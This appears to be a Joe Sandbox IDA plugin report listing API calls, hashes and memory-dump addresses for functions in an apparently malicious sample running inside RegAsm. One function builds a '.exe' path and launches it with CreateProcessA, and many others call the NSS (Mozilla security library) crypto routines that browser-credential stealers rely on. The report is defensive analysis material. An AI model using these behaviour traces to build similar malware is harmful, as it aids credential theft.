Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 5731679da3fc1e619d47bbfbf59de937803741d057ac0cc74f554d5e1bbc35d3
Instruction ID: 6d4d3b3cb2273f4ed14ec919d680a1889bc6c0cd87af35282672d7dc2d3a83b2
Opcode Fuzzy Hash: 5731679da3fc1e619d47bbfbf59de937803741d057ac0cc74f554d5e1bbc35d3
Instruction Fuzzy Hash: 8DA190B5E002059BEF11EF64DC41AAAB7B4AF0530CF144128E949AB751FB32E955CFE2

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01190CD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$CreateObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 3577131086-4119554291
Opcode ID: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 6C392C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?9l,?,6C38E477,?,?,?,00000001,00000000,?,?,6C393F23,?), ref: 6C392C62
EnterCriticalSection.KERNEL32(0000001C,?,6C38E477,?,?,?,00000001,00000000,?,?,6C393F23,?), ref: 6C392C76
PL_HashTableLookup.NSS3(00000000,?,?,6C38E477,?,?,?,00000001,00000000,?,?,6C393F23,?), ref: 6C392C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C38E477,?,?,?,00000001,00000000,?,?,6C393F23,?), ref: 6C392C93

Part of subcall function 6C41DD70: TlsGetValue.KERNEL32 ref: 6C41DD8C
Part of subcall function 6C41DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C41DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C38E477,?,?,?,00000001,00000000,?,?,6C393F23,?), ref: 6C392CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C38E477,?,?,?,00000001,00000000,?,?,6C393F23,?), ref: 6C392CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C38E477,?,?,?,00000001,00000000,?,?,6C393F23), ref: 6C392CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C38E477,?,?,?,00000001,00000000,?), ref: 6C392CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C38E477,?,?,?,00000001,00000000,?), ref: 6C392D4D
EnterCriticalSection.KERNEL32(?), ref: 6C392D61
PL_HashTableLookup.NSS3(?,?), ref: 6C392D71
PR_Unlock.NSS3(?), ref: 6C392D7E

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

Strings

#?9l, xrefs: 6C392C43

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?9l
API String ID: 2446853827-4134854056
Opcode ID: 819072318a70d2cbeda1a8998668de57e9f7074640b417a356d67467a1b04c49
Instruction ID: b0556bec08f399add9d0469d2fc1cd4fdddfe9da67a032e4430438156f9a1233
Opcode Fuzzy Hash: 819072318a70d2cbeda1a8998668de57e9f7074640b417a356d67467a1b04c49
Instruction Fuzzy Hash: 3F51D7B6D00605ABEB01AF24DC858AAB778FF1525CB048524EC5997B12F732ED54CFE2

Function 6C3EAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3EADB1

Part of subcall function 6C3CBE30: SECOID_FindOID_Util.NSS3(6C38311B,00000000,?,6C38311B,?), ref: 6C3CBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C3EADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C3EAE08

Part of subcall function 6C3CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4A18D0,?), ref: 6C3CB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3EAE25
PL_FreeArenaPool.NSS3 ref: 6C3EAE63
PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C3EAE4D

Part of subcall function 6C2F4C70: TlsGetValue.KERNEL32(?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4C97
Part of subcall function 6C2F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4CB0
Part of subcall function 6C2F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3EAE93
PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C3EAECC
PL_FreeArenaPool.NSS3 ref: 6C3EAEDE
PL_FinishArenaPool.NSS3 ref: 6C3EAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3EAEF5
PL_FinishArenaPool.NSS3 ref: 6C3EAF16

Strings

security, xrefs: 6C3EADEE

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 75d094c56b2740251557dc628567c80d96e318f9e4b87f3e0eddee6ed4fab81b
Instruction ID: 763c116d02645bae997c758890ed25eace28b16636257ab0c0db165d13b067af
Opcode Fuzzy Hash: 75d094c56b2740251557dc628567c80d96e318f9e4b87f3e0eddee6ed4fab81b
Instruction Fuzzy Hash: 94414DB290422067E7219B249C45FAB36B8AFC931CF110527E85596F41FB36A909CFE3

Function 6C48AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C439890: TlsGetValue.KERNEL32(?,?,?,6C4397EB), ref: 6C43989E

EnterCriticalSection.KERNEL32(?), ref: 6C48AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C48AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C48AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C48AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C48B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C48B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C48B070
PR_JoinThread.NSS3(?), ref: 6C48B07B
free.MOZGLUE(?), ref: 6C48B084
EnterCriticalSection.KERNEL32(?), ref: 6C48B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C48B0C4
PR_JoinThread.NSS3(?), ref: 6C48B0F3
free.MOZGLUE(?), ref: 6C48B0FC
PR_JoinThread.NSS3(?), ref: 6C48B137
free.MOZGLUE(?), ref: 6C48B140

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 50dff3b5bd4b2d44e697be45642cd2bb6f3849134a6f0d9a7acb1f64d5297081
Instruction ID: d8d0b3bf5201672e2a023b658174bc923b7ff17c1703a1f5ccdd9d780d6023e7
Opcode Fuzzy Hash: 50dff3b5bd4b2d44e697be45642cd2bb6f3849134a6f0d9a7acb1f64d5297081
Instruction Fuzzy Hash: 3A9168B5901611CFCB04DF15C880D4ABBF1BF8935872985ADD8199BB22EB32FD46CB91

Function 6C388DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C388E22
EnterCriticalSection.KERNEL32(?), ref: 6C388E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C388E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C388E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C388E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C388EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C388EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C388EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C388F00
free.MOZGLUE(?), ref: 6C388F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C388F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C388F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C388F5B
PR_Unlock.NSS3(?), ref: 6C388F72
PR_Unlock.NSS3(?), ref: 6C388F82

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 61f145459434aa8121047765e582ff90e7271dc2da9b032437bc5c382f58e38f
Instruction ID: 2eb5b7e13e49e5c03f9a25b37cfb072ad93d844bacad462eea788c5526c29c10
Opcode Fuzzy Hash: 61f145459434aa8121047765e582ff90e7271dc2da9b032437bc5c382f58e38f
Instruction Fuzzy Hash: BD5126B2E022159FEB00DF68DC84D6AB7B9EF45358B154129EC089B700E732ED448BE2

Function 6C3ACE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C3ACE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C3ACEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C3ACED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C3ACEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C3ACF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C3ACF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C3ACF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C3ACF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C3ACF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C3ACFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C3ACFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C3ACFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C3ACFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C3AD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C3AD021

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 788d0a4145c3fdc4624eb19359029b40f789a6049a0b410ee7f4a022812d015b
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: DD31477175291027EF0D51A75D21BDE244A8B6530EF441038FD4AF5BC1FA879E2706E7

Function 6C480FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C481000

Part of subcall function 6C439BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C361A48), ref: 6C439BB3
Part of subcall function 6C439BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C361A48), ref: 6C439BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C481016

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

PR_Unlock.NSS3(?), ref: 6C481021

Part of subcall function 6C41DD70: TlsGetValue.KERNEL32 ref: 6C41DD8C
Part of subcall function 6C41DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C41DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C481046
PR_Unlock.NSS3(?), ref: 6C48106B
PR_Lock.NSS3 ref: 6C481079
PR_Unlock.NSS3 ref: 6C481096
free.MOZGLUE(?), ref: 6C4810A7
free.MOZGLUE(?), ref: 6C4810B4
PR_DestroyCondVar.NSS3(?), ref: 6C4810BF
PR_DestroyCondVar.NSS3(?), ref: 6C4810CA
PR_DestroyCondVar.NSS3(?), ref: 6C4810D5
PR_DestroyCondVar.NSS3(?), ref: 6C4810E0
PR_DestroyLock.NSS3(?), ref: 6C4810EB
free.MOZGLUE(?), ref: 6C481105

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 5b0bf2d09ada5fd855d85f85172ad1c711bfe56052865a140279c29604844240
Instruction ID: d8eea0273185d5f18c33de62fece02c581a99c573255e25d4e4be8e10408451f
Opcode Fuzzy Hash: 5b0bf2d09ada5fd855d85f85172ad1c711bfe56052865a140279c29604844240
Instruction Fuzzy Hash: 1F3189B9A05501ABD702EF15EC42E45BB71BF02369B184135E80912F61E732F978DBC2

Function 6C3BEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C3BEE0B

Part of subcall function 6C3D0BE0: malloc.MOZGLUE(6C3C8D2D,?,00000000,?), ref: 6C3D0BF8
Part of subcall function 6C3D0BE0: TlsGetValue.KERNEL32(6C3C8D2D,?,00000000,?), ref: 6C3D0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3BEEE1

Part of subcall function 6C3B1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C3B1D7E
Part of subcall function 6C3B1D50: EnterCriticalSection.KERNEL32(?), ref: 6C3B1D8E
Part of subcall function 6C3B1D50: PR_Unlock.NSS3(?), ref: 6C3B1DD3

TlsGetValue.KERNEL32 ref: 6C3BEE51
EnterCriticalSection.KERNEL32(?), ref: 6C3BEE65
PR_Unlock.NSS3(?), ref: 6C3BEEA2
free.MOZGLUE(?), ref: 6C3BEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C3BEED0
PR_Unlock.NSS3(?), ref: 6C3BEF48
free.MOZGLUE(?), ref: 6C3BEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C3BEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C3BEFA4
free.MOZGLUE(?), ref: 6C3BEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C3BF055
free.MOZGLUE(?), ref: 6C3BF060

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: bfca7a0abd80c1633d83d8d2cc0c3d8a56e67f15756bff74300e3be0ed269ad1
Instruction ID: 4af668ed2b7827fd68a1a6c8d7d5eef3a6d9099d36d084b3217eb2971dbe530e
Opcode Fuzzy Hash: bfca7a0abd80c1633d83d8d2cc0c3d8a56e67f15756bff74300e3be0ed269ad1
Instruction Fuzzy Hash: 2A817275A002059BDB00DFA9DC45AEE77B5BF18358F054064F909B7A11E732E924CFE1

Function 6C384CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C384D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C384D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C384DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C384E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C384E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C384E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C384E85
DER_Encode_Util.NSS3(?,?,6C4D05A4,00000000), ref: 6C384EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C384F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C384F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C384F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C384F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C384F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C384FC8

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 9f46162577fa4ceb7e39ce29e36d3cbc90baf6dafbf1c0443e0e825f0c613475
Instruction ID: 05f9447bccdf95f8146f0e2f90f15414e01ffdf5882ee559e7a6744baa8b5959
Opcode Fuzzy Hash: 9f46162577fa4ceb7e39ce29e36d3cbc90baf6dafbf1c0443e0e825f0c613475
Instruction Fuzzy Hash: 4A819171A09301AFE701CF24D850B5BB7ECAB88758F15852DF998DBA41E731E904CFA2

Function 6C3B8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C3B9582), ref: 6C3B8F5B

Part of subcall function 6C3CBE30: SECOID_FindOID_Util.NSS3(6C38311B,00000000,?,6C38311B,?), ref: 6C3CBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C3B8F6A

Part of subcall function 6C3D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3787ED,00000800,6C36EF74,00000000), ref: 6C3D1000
Part of subcall function 6C3D0FF0: PR_NewLock.NSS3(?,00000800,6C36EF74,00000000), ref: 6C3D1016
Part of subcall function 6C3D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C3787ED,00000008,?,00000800,6C36EF74,00000000), ref: 6C3D102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C3B8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C3B8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C49D820,6C3B9576), ref: 6C3B8FF9
